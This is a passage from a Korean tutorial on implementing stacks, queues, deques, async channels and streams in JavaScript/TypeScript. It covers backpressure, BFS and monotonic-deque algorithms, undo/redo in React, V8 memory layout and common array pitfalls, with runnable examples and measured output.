//  300ms  시작 #3
//  300ms  시작 #4
// [ '#0 완료', '#1 완료', '#2 완료', '#3 실패', '#4 완료' ]
필요한 것패키지
동시성 제한만p-limit (내부 큐는 yocto-queue)
+ 우선순위 · 일시정지 · onIdle()p-queue
콜백형 고성능 작업 큐fastq
재시작해도 살아남아야BullMQ (Redis) — NestJS 탭 s13

채널 — 배압 · 닫기 · 취소 · for await 🔴 고급

channel.ts — 유한 비동기 큐 (tsc --strict 통과)

import { Deque } from "./deque.ts";

export class ClosedError extends Error { override name = "ClosedError"; }

type Waiter<T> = { resolve: (r: IteratorResult<T, undefined>) => void; reject: (e: unknown) => void };
type Sender<T> = { value: T; resolve: () => void; reject: (e: unknown) => void };

export class Channel<T> implements AsyncIterable<T> {
  #buf = new Deque<T>();
  #receivers = new Deque<Waiter<T>>();    // 값을 기다리는 소비자
  #senders = new Deque<Sender<T>>();      // 자리를 기다리는 생산자
  #closed = false;
  readonly #cap: number;

  constructor(capacity = 1) { this.#cap = capacity; }

  /** 꽉 차 있으면 자리가 날 때까지 기다린다 — 이것이 배압 */
  send(value: T): Promise<void> {
    if (this.#closed) return Promise.reject(new ClosedError("send on closed channel"));
    const r = this.#receivers.popFront();
    if (r) { r.resolve({ value, done: false }); return Promise.resolve(); }   // 소비자에게 직행
    if (this.#buf.size < this.#cap) { this.#buf.pushBack(value); return Promise.resolve(); }
    return new Promise((resolve, reject) => this.#senders.pushBack({ value, resolve, reject }));
  }

  receive(signal?: AbortSignal): Promise<IteratorResult<T, undefined>> {
    if (this.#buf.size) {
      const value = this.#buf.popFront() as T;
      const s = this.#senders.popFront();             // 자리가 났으니 생산자 하나를 들인다
      if (s) { this.#buf.pushBack(s.value); s.resolve(); }
      return Promise.resolve({ value, done: false });
    }
    const s = this.#senders.popFront();               // 용량 0(랑데부)일 때
    if (s) { s.resolve(); return Promise.resolve({ value: s.value, done: false }); }
    if (this.#closed) return Promise.resolve({ value: undefined, done: true });
    if (signal?.aborted) return Promise.reject(signal.reason);

    return new Promise((resolve, reject) => {
      const onAbort = () => {
        // 대기열에서 빼고 거절 — 안 빼면 나중 값이 떠난 소비자에게 가서 사라진다
        const keep = [...this.#receivers].filter((w) => w !== waiter);
        this.#receivers = new Deque();
        keep.forEach((w) => this.#receivers.pushBack(w));
        reject(signal!.reason);
      };
      const waiter: Waiter<T> = {
        resolve: (v) => { signal?.removeEventListener("abort", onAbort); resolve(v); },
        reject,
      };
      this.#receivers.pushBack(waiter);
      signal?.addEventListener("abort", onAbort, { once: true });
    });
  }

  close(): void {
    if (this.#closed) return;
    this.#closed = true;
    for (let r; (r = this.#receivers.popFront()); ) r.resolve({ value: undefined, done: true });
    for (let s; (s = this.#senders.popFront()); ) s.reject(new ClosedError("channel closed"));
  }

  /** for await (const x of ch) — 닫히고 버퍼가 비면 끝난다 */
  async *[Symbol.asyncIterator](): AsyncIterator<T> {
    for (;;) {
      const r = await this.receive();
      if (r.done) return;
      yield r.value;
    }
  }
}

빠른 생산자 · 느린 소비자 (실행 결과)

import { Channel } from "./channel.ts";
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
const t0 = performance.now();
const at = () => String(Math.floor((performance.now() - t0) / 100) * 100).padStart(4) + "ms";

const ch = new Channel<number>(2);          // 버퍼 2칸

async function producer() {
  for (let i = 1; i <= 5; i++) {
    await ch.send(i);                       // 버퍼가 차면 여기서 멈춘다
    console.log(`${at()}  보냄 ${i}`);
  }
  ch.close();
  console.log(`${at()}  닫음`);
}
async function consumer() {
  for await (const x of ch) {
    console.log(`${at()}      받음 ${x}`);
    await sleep(100);                       // 소비자가 느리다
  }
  console.log(`${at()}      소비 끝`);
}
await Promise.all([producer(), consumer()]);
//    0ms  보냄 1
//    0ms  보냄 2
//    0ms  보냄 3       ← 1 은 곧바로 소비자가 가져가서 2·3 이 버퍼 2칸
//    0ms      받음 1
//  100ms  보냄 4       ← 여기부터 소비 속도에 맞춰 느려짐 = 배압
//  100ms      받음 2
//  200ms  보냄 5
//  200ms  닫음
//  200ms      받음 3   ← 닫아도 버퍼에 남은 것은 끝까지 받는다
//  300ms      받음 4
//  400ms      받음 5
//  500ms      소비 끝

// 취소 — 200ms 안에 값이 안 오면 포기
const empty = new Channel<number>();
const ac = new AbortController();
const timer = setTimeout(() => ac.abort(new Error("200ms 동안 값 없음")), 200);
try {
  await empty.receive(ac.signal);
} catch (e) {
  console.log("취소:", (e as Error).message);   // 취소: 200ms 동안 값 없음
} finally {
  clearTimeout(timer);
}

// 닫힌 채널을 배열로 — Array.fromAsync (Node 22+ · TS 는 lib 에 "ESNext" 필요)
const c2 = new Channel<number>(10);
for (const x of [1, 2, 3]) await c2.send(x);
c2.close();
console.log(await Array.fromAsync(c2));      // [ 1, 2, 3 ]
AbortSignal.timeout(200) 을 쓰면 이 예제는 끝나지 않고 종료됩니다. Node 에서 그 타이머는 프로세스를 붙잡지 않아서, 기다릴 다른 일이 없자 이 PC 에서 Warning: Detected unsettled top-level await 와 함께 종료 코드 13 으로 끝났습니다. 서버처럼 다른 일이 계속 도는 곳에서는 괜찮지만, 스크립트에서는 위처럼 setTimeout + AbortController 가 확실합니다.

Streams — highWaterMark 가 곧 큐 크기 🟡 중급

Node Writable 와 Web ReadableStream (실행 결과)

import { Writable } from "node:stream";
import { once } from "node:events";
import { setTimeout as sleep } from "node:timers/promises";

// ① 내부 버퍼(큐)가 highWaterMark 에 닿으면 write() 가 false
const slow = new Writable({
  objectMode: true,
  highWaterMark: 3,                         // 객체 3개
  async write(chunk, _enc, cb) { await sleep(50); cb(); },   // 느린 소비자
});
let paused = 0;
for (let i = 1; i <= 8; i++) {
  const ok = slow.write(i);
  console.log(`write(${i}) → ${ok}  버퍼 ${slow.writableLength}`);
  if (!ok) { paused++; await once(slow, "drain"); }   // ★ 배압 신호를 지킨다
}
slow.end();
await once(slow, "finish");
console.log("drain 대기 횟수", paused);
// write(1) → true  버퍼 1      ← 지금 쓰는 중인 것도 버퍼에 셉니다
// write(2) → true  버퍼 2
// write(3) → false  버퍼 3     ← 멈춤
// write(4) → true  버퍼 1
// write(5) → true  버퍼 2
// write(6) → false  버퍼 3
// write(7) → true  버퍼 1
// write(8) → true  버퍼 2
// drain 대기 횟수 2

// ② Web Streams — 소비자가 읽을 때 pull. 큐에 highWaterMark 만큼 미리 채움
let made = 0;
const rs = new ReadableStream(
  { pull(c) { c.enqueue(++made); if (made === 5) c.close(); } },
  new CountQueuingStrategy({ highWaterMark: 2 }),
);
await sleep(10);
console.log("아무도 안 읽었는데 미리 만든 개수", made);   // 2
for await (const x of rs) { console.log("읽음", x); if (x === 3) break; }
// 읽음 1 · 읽음 2 · 읽음 3   (break 하면 스트림이 cancel 됨)

무엇을 기억하나

  • write() 의 반환값을 무시하면 스트림 내부 큐가 끝없이 늘어납니다 — 파일 · 소켓이 느릴 때 메모리가 터지는 대표 원인. false 면 'drain' 까지 멈추세요.
  • 가장 쉬운 정답은 pipeline() 입니다 — await pipeline(source, transform, dest) 는 배압 · 에러 전파 · 정리를 대신 해 줍니다(node:stream/promises).
  • highWaterMark 의 단위 — 바이트 스트림은 바이트(기본값은 Node 버전마다 다를 수 있어 직접 지정 권장), objectMode 는 객체 개수, Web Streams 는 CountQueuingStrategy(개수) · ByteLengthQueuingStrategy(바이트).
  • Web Streams 는 브라우저 · Node · Deno · 엣지 런타임 공통입니다. fetch 응답 본문이 ReadableStream 이므로 큰 응답은 for await 로 조금씩 읽으면 메모리가 일정합니다.
개념Node streamWeb Streams
큐 크기highWaterMarkQueuingStrategy
배압 신호write() → false · 'drain'desiredSize ≤ 0 · writer.ready
연결pipeline()pipeTo() · pipeThrough()
취소destroy() · signal 옵션cancel() · pipeTo(…, { signal })
정리 — JS 의 "BlockingQueue" 는 Promise 로 기다리는 큐입니다. 동시성은 createLimit(p-limit), 생산자-소비자는 Channel, 바이트 흐름은 Streams — 셋 다 큐가 차면 생산자를 기다리게 하는 배압이 핵심입니다.
SQ 08

알고리즘 패턴 — 괄호 · 단조 스택 · BFS · 단조 덱 · undo

코딩 테스트와 실무 양쪽에서 스택 · 큐 · 덱이 실제로 쓰이는 모양들입니다. 전부 JS 관용 코드로, 출력은 이 PC 에서 돌린 그대로입니다. 큐 자리에는 SQ 04 의 Deque 를 씁니다.

슬라이딩 윈도우 최댓값 (k = 3) — 덱의 맨 앞이 언제나 창의 최댓값 i a[i] 덱 (앞 → 뒤) 이번에 버린 것 출력 0 1 1 — 1 3 3 뒤 1 (3 보다 작음) — 2 -1 3 -1 3 3 -3 3 -1 -3 3 4 5 5 앞 3 (창 밖) · 뒤 -3, -1 5 5 3 5 3 5 6 6 6 뒤 3, 5 6 7 7 7 뒤 6 7 자기보다 작은 뒤쪽 값은 앞으로 영원히 최댓값이 될 수 없으니 버립니다 각 값은 덱에 한 번 들어가고 한 번 나가므로 전체 O(n) — 매번 창 전체를 보면 O(nk)
단조 덱 — 뒤에서 버리고(작은 값) 앞에서 버리는(창 밖) 양쪽 연산이 다 필요해서 덱이어야 합니다.

스택 두 가지 — 괄호 검사 · 다음 큰 수

// ① 괄호 검사 — 여는 괄호를 쌓고 닫는 괄호에서 짝 확인
const PAIR: Record<string, string> = { ")": "(", "]": "[", "}": "{" };
function balanced(s: string): boolean {
  const st: string[] = [];
  for (const ch of s) {
    if (ch === "(" || ch === "[" || ch === "{") st.push(ch);
    else if (ch in PAIR) {
      if (st.pop() !== PAIR[ch]) return false;   // 빈 스택 pop 은 undefined → false
    }
  }
  return st.length === 0;
}
console.log(balanced("{a[(b)]c}"), balanced("([)]"), balanced("(("), balanced("]"));
// true false false false

// ② 단조 스택 — 오른쪽에서 처음 만나는 더 큰 값
function nextGreater(a: number[]): number[] {
  const res = new Array<number>(a.length).fill(-1);
  const st: number[] = [];                  // 인덱스를 담는다 (값은 감소 순)
  for (let i = 0; i < a.length; i++) {
    while (st.length && a[st.at(-1)!] < a[i]) res[st.pop()!] = a[i];
    st.push(i);
  }
  return res;
}
console.log(nextGreater([2, 7, 3, 5, 4, 6, 8]));
// [ 7, 8, 5, 6, 6, 8, -1 ]
// 주식 "며칠 뒤 더 오르나" · 히스토그램 최대 직사각형 · 온도 문제가 같은 모양

BFS — 격자 최단 거리

function bfs(grid: string[][], [sr, sc]: [number, number], [tr, tc]: [number, number]): number {
  const R = grid.length, C = grid[0].length;
  const dist = Array.from({ length: R }, () => new Array<number>(C).fill(-1));
  const q = new Deque<[number, number]>();
  q.pushBack([sr, sc]); dist[sr][sc] = 0;
  while (!q.isEmpty()) {
    const [r, c] = q.popFront()!;
    if (r === tr && c === tc) return dist[r][c];
    for (const [dr, dc] of [[1, 0], [-1, 0], [0, 1], [0, -1]]) {
      const nr = r + dr, nc = c + dc;
      if (nr < 0 || nc < 0 || nr >= R || nc >= C) continue;
      if (grid[nr][nc] === "#" || dist[nr][nc] !== -1) continue;
      dist[nr][nc] = dist[r][c] + 1;     // ★ 넣을 때 방문 표시 (꺼낼 때 하면 중복 삽입)
      q.pushBack([nr, nc]);
    }
  }
  return -1;
}
const maze = ["S..#", ".#..", "...#", "#..T"].map((row) => [...row]);
console.log(bfs(maze, [0, 0], [3, 3]));   // 6

덱 두 가지 — 윈도우 최댓값 · 0-1 BFS

// ③ 위 그림 그대로
function windowMax(a: number[], k: number): number[] {
  const dq = new Deque<number>(), out: number[] = [];   // 인덱스를 담는다
  for (let i = 0; i < a.length; i++) {
    if (!dq.isEmpty() && dq.peekFront()! <= i - k) dq.popFront();        // 창 밖
    while (!dq.isEmpty() && a[dq.peekBack()!] <= a[i]) dq.popBack();     // 나보다 작은 뒤쪽
    dq.pushBack(i);
    if (i >= k - 1) out.push(a[dq.peekFront()!]);
  }
  return out;
}
console.log(windowMax([1, 3, -1, -3, 5, 3, 6, 7], 3));   // [ 3, 3, 5, 5, 6, 7 ]

// ④ 0-1 BFS — 가중치가 0 이면 앞에, 1 이면 뒤에 → 다익스트라 없이 O(V + E)
function zeroOneBfs(n: number, edges: [number, number, 0 | 1][], src: number): number[] {
  const adj: [number, 0 | 1][][] = Array.from({ length: n }, () => []);
  for (const [u, v, w] of edges) adj[u].push([v, w]);
  const dist = new Array<number>(n).fill(Infinity);
  dist[src] = 0;
  const dq = new Deque<number>();
  dq.pushBack(src);
  while (!dq.isEmpty()) {
    const u = dq.popFront()!;
    for (const [v, w] of adj[u]) {
      if (dist[u] + w < dist[v]) {
        dist[v] = dist[u] + w;
        w === 0 ? dq.pushFront(v) : dq.pushBack(v);
      }
    }
  }
  return dist;
}
console.log(zeroOneBfs(5, [[0, 1, 1], [0, 2, 0], [2, 1, 0], [1, 3, 1], [2, 4, 1], [4, 3, 0]], 0));
// [ 0, 0, 0, 1, 1 ]
BFS 에서 shift 가 얼마나 위험한가는 "한 번에 쌓이는 개수"가 정합니다. 격자 1000×1000 은 큐가 최대 1000 개라 이 PC 에서 shift 130ms · 덱 73ms 로 두 배 차이였지만, 한 정점에 이웃이 20만 개인 그래프처럼 큐가 한꺼번에 커지면 shift 3.4초 · 덱 8ms 였습니다. 입력 모양을 모르는 코드(코딩 테스트 포함)라면 처음부터 덱이나 인덱스 포인터(q[head++])를 쓰세요.

undo / redo — 두 스택 + 불변 업데이트 (ES2023) 🟡 중급

복사본을 돌려주는 ES2023 메서드

const stack = [1, 2, 3];
const pushed = [...stack, 4];               // push 대신
const popped = stack.slice(0, -1);          // pop 대신 (또는 stack.toSpliced(-1, 1))
const top = stack.at(-1);                   // peek
console.log(stack, pushed, popped, top);
// [ 1, 2, 3 ] [ 1, 2, 3, 4 ] [ 1, 2 ] 3

console.log(stack.toReversed(), stack.with(0, 9), stack);
// [ 3, 2, 1 ] [ 9, 2, 3 ] [ 1, 2, 3 ]     ← 원본 그대로
console.log([10, 9, 1].toSorted(), [10, 9, 1].toSorted((a, b) => a - b));
// [ 1, 10, 9 ] [ 1, 9, 10 ]               ← 비교 함수 없으면 문자열 순 (SQ 10)
원본을 바꿈복사본 (ES2023)
reverse()toReversed()
sort(fn)toSorted(fn)
splice(i, n, …)toSpliced(i, n, …)
a[i] = vwith(i, v)
push(x) · pop()[...a, x] · a.slice(0, -1)
React 상태에서 push 는 화면을 안 바꿉니다. 같은 배열 참조라서 React 가 "안 바뀌었다"고 봅니다. 상태로 쓰는 스택은 항상 새 배열을 만드세요. 복사는 O(n) 이므로 히스토리에는 상한을 둡니다.

historyReducer — useReducer 에 그대로

// history.ts — 순수 함수라 React 없이 테스트 가능
type History<T> = { past: T[]; present: T; future: T[] };
type Action<T> = { type: "edit"; value: T } | { type: "undo" } | { type: "redo" };
const MAX_HISTORY = 50;

export function historyReducer<T>(s: History<T>, a: Action<T>): History<T> {
  switch (a.type) {
    case "edit":
      if (Object.is(a.value, s.present)) return s;            // 같은 값이면 기록 안 함
      return {
        past: [...s.past, s.present].slice(-MAX_HISTORY),     // ★ 상한
        present: a.value,
        future: [],                                           // 새 편집은 redo 를 지운다
      };
    case "undo":
      if (s.past.length === 0) return s;
      return { past: s.past.slice(0, -1), present: s.past.at(-1)!, future: [s.present, ...s.future] };
    case "redo":
      if (s.future.length === 0) return s;
      return { past: [...s.past, s.present], present: s.future[0], future: s.future.slice(1) };
  }
}
// edit a → edit ab → edit abc → undo → undo → redo → edit abX → redo
// edit {"past":[""],"present":"a","future":[]}
// edit {"past":["","a"],"present":"ab","future":[]}
// edit {"past":["","a","ab"],"present":"abc","future":[]}
// undo {"past":["","a"],"present":"ab","future":["abc"]}
// undo {"past":[""],"present":"a","future":["ab","abc"]}
// redo {"past":["","a"],"present":"ab","future":["abc"]}
// edit {"past":["","a","ab"],"present":"abX","future":[]}
// redo {"past":["","a","ab"],"present":"abX","future":[]}   ← redo 할 것 없음
// Editor.tsx — React 19
import { useReducer } from "react";
import { historyReducer } from "./history";

export function Editor() {
  const [h, dispatch] = useReducer(historyReducer<string>, { past: [], present: "", future: [] });
  return (
    <>
      <textarea value={h.present} onChange={(e) => dispatch({ type: "edit", value: e.target.value })} />
      <button disabled={!h.past.length} onClick={() => dispatch({ type: "undo" })}>되돌리기</button>
      <button disabled={!h.future.length} onClick={() => dispatch({ type: "redo" })}>다시</button>
    </>
  );
}
정리 — 짝 맞추기 · "다음 큰 값"은 스택, 최단 거리는 큐, 창 최댓값 · 0-1 BFS 는 덱, undo 는 스택 두 개. React 상태라면 push 대신 새 배열입니다.
SQ 09

성능과 메모리 — elements kind · 칸 크기 · 연결 리스트

V8 은 배열마다 "무엇이 들었나"를 기억해 두고(elements kind) 그에 맞는 빠른 경로를 씁니다. 큐 · 스택처럼 같은 배열을 수백만 번 건드리는 코드에서는 이 차이와 요소당 바이트가 보입니다. 아래 수치는 모두 이 PC(Node 24, 64비트)에서 잰 예시입니다.

요소 100만 개 — 요소 하나당 바이트 (이 PC · Node 24 측정 예시) 0 10 20 30 40 50 B Int32Array 4.0 B Float64Array 8.0 B 정수 배열 (SMI) 10.4 B 실수 배열 (DOUBLE) 10.4 B 연결 리스트 노드 40.0 B 객체 배열 {id} 42.4 B 일반 배열 = 칸 8B + 늘어날 여유분 · 객체 · 노드 = 칸 + 객체 머리 + 필드 숫자만 담는 큐라면 TypedArray 링 버퍼가 일반 배열의 절반 아래입니다
같은 100만 개라도 4 B 에서 42 B 까지 열 배. 연결 리스트는 노드마다 객체 하나라 배열보다 네 배쯤 큽니다.

재는 법 — mem.mjs (node --expose-gc)

const N = 1_000_000;
function measure(label, make) {
  globalThis.gc(); globalThis.gc();
  const m0 = process.memoryUsage();
  const keep = make();
  globalThis.gc(); globalThis.gc();
  const m1 = process.memoryUsage();
  const bytes = m1.heapUsed - m0.heapUsed + (m1.arrayBuffers - m0.arrayBuffers);
  console.log(label.padEnd(20), (bytes / N).toFixed(1), "B/요소");
  return keep;                       // 살려 둬야 GC 가 안 가져감
}
const sink = [];
sink.push(measure("정수 배열", () => { const a = []; for (let i = 0; i < N; i++) a.push(i); return a; }));
sink.push(measure("객체 배열 {id}", () => { const a = []; for (let i = 0; i < N; i++) a.push({ id: i }); return a; }));
sink.push(measure("연결 리스트 노드", () => { let h = null; for (let i = 0; i < N; i++) h = { v: i, next: h }; return h; }));
sink.push(measure("Int32Array", () => { const a = new Int32Array(N); for (let i = 0; i < N; i++) a[i] = i; return a; }));
// 정수 배열         10.4 B/요소
// 객체 배열 {id}    42.4 B/요소
// 연결 리스트 노드  40.0 B/요소
// Int32Array         4.0 B/요소
이 PC 의 Node 는 포인터 압축이 꺼진 빌드(process.config.variables.v8_enable_pointer_compression = 0)라 칸 하나가 8 바이트입니다. 포인터 압축을 쓰는 런타임(일반적으로 Chrome)에서는 칸이 4 바이트라 수치가 달라집니다 — 비율만 가져가세요.

연결 리스트 큐가 "대개" 지는 이유 — JS 판

100만 개 넣고 전부 꺼내기 (이 PC, 3회째 측정 · 두 번 실행)
Deque (원형 버퍼)        22.6 ms  /  28.6 ms
LinkedQueue (노드 객체)  24.9 ms  /  40.9 ms
인덱스 포인터 배열       46.0 ms  /  32.2 ms
Array push/pop (스택)    32.6 ms  /  28.3 ms

시간만 보면 JS 에서는 연결 리스트도 크게 지지 않습니다. 짧게 사는 노드는 V8 의 젊은 세대 GC 가 싸게 치우기 때문으로 보입니다. 하지만 이 결과는 실행마다 흔들렸고, 지는 쪽은 분명히 메모리입니다.

  • 노드마다 객체 하나 → 요소당 40 B(배열 칸은 약 10 B). 큐에 100만 개가 쌓이면 40 MB 대 10 MB.
  • 노드가 힙 여기저기 흩어져 캐시 지역성이 나쁘고, 큐가 오래 살면 노드가 오래된 세대로 넘어가 GC 비용이 커집니다.
  • 임의 접근(at(i))이 O(n).
그래도 연결 리스트가 맞는 자리 — 큐가 작고 생성 · 폐기가 잦은 곳(yocto-queue 를 쓰는 p-limit 처럼), 중간 노드를 O(1) 로 떼어 내야 하는 LRU 캐시(Map + 이중 연결 리스트).

elements kind — 배열의 숨은 타입 🔴 고급

elements kind — 오른쪽 · 아래로만 갑니다 (되돌아오는 화살표가 없음) PACKED_SMI [1, 2, 3] PACKED_DOUBLE push(1.5) PACKED_ELEMENTS push("x") · 객체 HOLEY_SMI new Array(3) · a[5]=1 HOLEY_DOUBLE HOLEY_ELEMENTS delete · length↑ 구멍 구멍 한 번 일반화되면 값을 되돌려도 그대로 — a[3] = 4 를 넣어도 DOUBLE 로 남았습니다(실측) 왼쪽 위일수록 빠른 경로 — 큐 · 스택 버퍼를 일부러 오른쪽 아래로 보낼 이유는 없습니다
elements kind 는 일반화만 되고 되돌아가지 않습니다. 숫자 큐에 문자열 하나를 섞는 순간 그 배열은 계속 느린 쪽입니다.

직접 확인 — %DebugPrint (학습 · 디버깅 전용)

// node --allow-natives-syntax kinds.js 2>&1 | grep "elements kind"
function kind(a) { %DebugPrint(a); }      // V8 내부 함수 — 이 플래그 없이는 문법 오류
const a = [1, 2, 3];          kind(a);    // PACKED_SMI_ELEMENTS
a.push(1.5);                  kind(a);    // PACKED_DOUBLE_ELEMENTS
a[3] = 4;                     kind(a);    // PACKED_DOUBLE_ELEMENTS  ← 안 돌아옴
a.push("x");                  kind(a);    // PACKED_ELEMENTS
const b = [1, 2, 3]; delete b[1];        kind(b);   // HOLEY_SMI_ELEMENTS
const c = [1, 2, 3]; c.length = 10;      kind(c);   // HOLEY_SMI_ELEMENTS
const d = []; d[5] = 1;                  kind(d);   // HOLEY_SMI_ELEMENTS
const e = new Array(3);                  kind(e);   // HOLEY_SMI_ELEMENTS
const f = Array.from({ length: 3 }, () => 0); kind(f);  // PACKED_SMI_ELEMENTS
const g = [1, 2, 3]; g[1] = undefined;   kind(g);   // PACKED_ELEMENTS (구멍 아님 · 대신 일반화)
%DebugPrint 는 표준이 아니고 V8 버전마다 출력이 바뀝니다. 운영 코드에 넣지 마세요. "무엇이 HOLEY 를 만드는지" 감을 잡는 용도입니다.

큐 · 스택 코드에 적용하면

하지 말 것왜대신
delete q[0]구멍 → HOLEYhead 포인터만 옮기기 (객체 큐라면 q[i] = undefined 도 무방 — 이미 ELEMENTS)
숫자 큐에 null · 문자열 섞기SMI → ELEMENTS 로 일반화"없음"은 길이 · 별도 플래그로
arr[arr.length + 5] = x건너뛴 칸이 구멍push
큰 배열 length = n 로 늘리기HOLEYnew Array(n).fill(0) 또는 TypedArray

이 탭의 Deque 는 new Array(cap) 으로 만들어 HOLEY 로 시작합니다. 고정 크기 버퍼를 인덱스로만 쓰는 구조라 SQ 03 측정에서 문제가 되지 않았지만, 숫자만 담는 고성능 큐라면 Float64Array · Int32Array 링 버퍼가 메모리 · 속도 모두 유리합니다(위 막대 그림).

숨은 클래스(hidden class · Map) 도 같은 이야기입니다. 큐에 넣는 객체를 같은 모양(같은 필드를 같은 순서로)으로 만들면 job.pri 같은 속성 접근이 빠른 인라인 캐시를 탑니다. 필드를 나중에 조건부로 추가하는 객체는 모양이 갈라집니다.
정리 — 배열 큐는 구멍을 만들지 말고 타입을 섞지 말 것. 연결 리스트는 JS 에서 시간보다 메모리로 집니다. 숫자만 담으면 TypedArray 링 버퍼가 가장 작고 빠릅니다.
SQ 10

흔한 실수 모음 — 코드 리뷰에서 바로 짚을 것

스택 · 큐를 배열로 다루다 생기는 버그는 대부분 "같은 배열을 여럿이 보고 있다"와 "배열 메서드가 원본을 바꾼다" 두 가지에서 나옵니다. 출력은 모두 이 PC 에서 돌린 그대로입니다.

"비우기" 두 가지 — 변수는 배열을 담는 게 아니라 가리킵니다 나쁜 예 — pending.length = 0 좋은 예 — const batch = pending.splice(0) pending snapshot [ ] 길이 0 배열은 하나뿐 snapshot 으로 보내려던 job1 · job2 도 사라짐 pending batch [ ] 비워진 원래 배열 [job1, job2] 새 배열 꺼낸 것은 batch 가 단독으로 가짐 — 안전하게 처리 다른 곳이 같은 배열을 들고 있을 수 있으면 length = 0 대신 splice(0) 이나 새 배열 대입 React 상태 · 이벤트 버퍼 · 배치 전송에서 자주 터집니다 (SQ 12 의 BatchBuffer)
비우기 — length = 0 은 공유된 배열까지 비웁니다. 꺼내 가면서 비우려면 splice(0) 입니다.
① 큰 큐에 shift
const q = [];
// 장애 때 10만 개가 쌓이면
while (q.length) handle(q.shift());
// 10만 개: 556ms (SQ 03 실측)
덱 · 포인터
const q = new Deque();
while (!q.isEmpty())
  handle(q.popFront());
// 10만 개: 7ms
② 비교 함수 없는 sort
[10, 9, 1, 100, 25].sort();
// [ 1, 10, 100, 25, 9 ]
// 숫자를 문자열로 바꿔 비교
숫자 비교 함수
[10, 9, 1, 100, 25]
  .toSorted((a, b) => a - b);
// [ 1, 9, 10, 25, 100 ]
③ boolean 을 돌려주는 비교
[3, 1, 2].sort((a, b) => a > b);
// [ 3, 1, 2 ]  ← 그대로!
// true/false → 1/0, 음수가 없음
음수 · 0 · 양수
[3, 1, 2].sort((a, b) => a - b);
// [ 1, 2, 3 ]
// 문자열: a.localeCompare(b)
④ length = 0 으로 비우기
const pending = ["job1", "job2"];
const snapshot = pending;   // 같은 배열
pending.length = 0;
console.log(snapshot);      // []
꺼내면서 비우기
const pending = ["job1", "job2"];
const batch = pending.splice(0);
console.log(batch, pending);
// [ 'job1', 'job2' ] []
⑤ 앞에서부터 돌며 splice
const xs = [1, 2, 2, 3];
for (let i = 0; i < xs.length; i++)
  if (xs[i] === 2) xs.splice(i, 1);
console.log(xs);  // [ 1, 2, 3 ]
// 지우면 뒤가 당겨져 하나 건너뜀
뒤에서부터 · filter
const ys = [1, 2, 2, 3];
for (let i = ys.length - 1; i >= 0; i--)
  if (ys[i] === 2) ys.splice(i, 1);
// [ 1, 3 ]
[1, 2, 2, 3].filter((x) => x !== 2);
⑥ 거대한 배열을 펼쳐 push
let a = [];
const big = new Array(200_000).fill(1);
a.push(...big);
// RangeError: Maximum call
//   stack size exceeded
// (이 PC: 12만 OK · 13만부터 실패)
하나씩 · concat
for (const x of big) a.push(x);
// 또는
a = a.concat(big);
// 100만 개도 OK

조용히 틀리는 것들 — 예외 없이 잘못 동작 🟡 중급

순회 중인 배열에 push — 의도면 BFS, 아니면 무한 루프

const work = [1];
for (const w of work) { if (w < 4) work.push(w + 1); }
console.log(work);    // [ 1, 2, 3, 4 ]
// for...of 는 매번 length 를 다시 봅니다 → 새로 넣은 것도 돈다
// 조건(w < 4)이 없으면 영원히 끝나지 않습니다

// forEach 는 시작할 때의 길이까지만 돕니다 — 둘의 동작이 다릅니다
const w2 = [1];
w2.forEach((w) => { if (w < 4) w2.push(w + 1); });
console.log(w2);      // [ 1, 2 ]
"도는 중에 늘어나는 배열"은 큐입니다. 그렇게 쓸 거라면 이름부터 queue 로 짓고, while + 덱으로 의도를 드러내세요.

한 줄 점검표

증상원인 → 고치는 법
큐가 커지자 CPU 100%shift() O(n) → 덱 · 포인터 (SQ 03)
덱이 비었는데 메모리가 안 줄어듦꺼낸 칸에 참조가 남음 → buf[i] = undefined (SQ 04)
우선순위 큐 순서가 이상함힙 밖에서 키 변경 · 같은 키 FIFO 기대 → 다시 넣기 · seq 키 (SQ 05)
같은 작업이 두 번 실행확인과 꺼내기 사이에 await → 먼저 꺼내기 (SQ 06)
스트림 처리 중 메모리 폭증write() 의 false 무시 → 'drain' · pipeline (SQ 07)
DB 커넥션 고갈Promise.all 로 수천 개 동시 실행 → createLimit · p-limit (SQ 07)
React 에서 push 했는데 화면 그대로같은 참조 → [...arr, x] (SQ 08)
숫자 큐가 이유 없이 느려짐null · 문자열 섞기 · delete → elements kind 일반화 (SQ 09)
정렬 결과가 1, 10, 100, 2비교 함수 누락 → (a, b) => a - b
정리 — 배열은 참조로 공유되고 메서드 절반은 원본을 바꿉니다. 큐에 shift, 정렬에 비교 함수 누락, 비우기에 length = 0, 순회 중 splice — 이 넷만 리뷰에서 걸러도 대부분이 막힙니다.
SQ 11

다른 언어와 비교 — JS 만 표준이 비어 있다

같은 일을 다른 언어는 표준 라이브러리로 합니다. JS 개발자가 다른 언어 코드를 읽을 때, 반대로 자바 · 파이썬 개발자가 JS 로 올 때 이 표 한 장이면 대응이 됩니다.

표준 라이브러리만으로 되나 — 진한 칸 = 표준에 있음 · 붉은 칸 = 없음(직접 · 패키지) 스택 큐 덱 우선순위 큐 스레드 간 큐 Java 21+ ArrayDeque ArrayDeque ArrayDeque PriorityQueue BlockingQueue Python 3.13 list deque deque heapq queue.Queue JS · TS Array 없음 (shift) 없음 없음 MessagePort C# · .NET Stack<T> Queue<T> 없음 PriorityQueue Channel<T> C++23 std::stack std::queue std::deque priority_queue 없음 Rust Vec VecDeque VecDeque BinaryHeap mpsc Go slice slice · chan container/list container/heap chan Kotlin ArrayDeque ArrayDeque ArrayDeque PriorityQueue Channel 흐린 칸(Go)은 부품만 있음 — heap 은 인터페이스를 직접 구현, list 는 연결 리스트
여덟 언어 중 큐 · 덱 · 우선순위 큐가 전부 비어 있는 것은 JS 뿐입니다. 그래서 이 탭이 직접 만들었습니다.
하는 일JS · TS (이 탭)Java 21+Python 3.13C# (.NET 6+)Rust
스택 push / pop / peekpush · pop · at(-1)push · pop · peek (ArrayDeque)append · pop · [-1]Push · Pop · Peekpush · pop · last
큐 넣기 / 빼기pushBack · popFront (Deque)offer · pollappend · popleftEnqueue · Dequeuepush_back · pop_front
빈 경우undefinednull(poll) · 예외(remove)IndexError예외 · TryDequeueOption::None
우선순위 큐BinaryHeap<T>(cmp) 직접PriorityQueue(Comparator) · 최소heapq · 최소 · 함수형PriorityQueue<E,P> · 최소BinaryHeap · 최대
유한 큐 · 배압Channel<T>(n) · StreamsArrayBlockingQueue(n)Queue(maxsize=n)Channel.CreateBoundedmpsc::sync_channel(n)
비동기 대기await ch.receive()가상 스레드 + take()await asyncio.Queue.get()await reader.ReadAsync()tokio mpsc recv().await
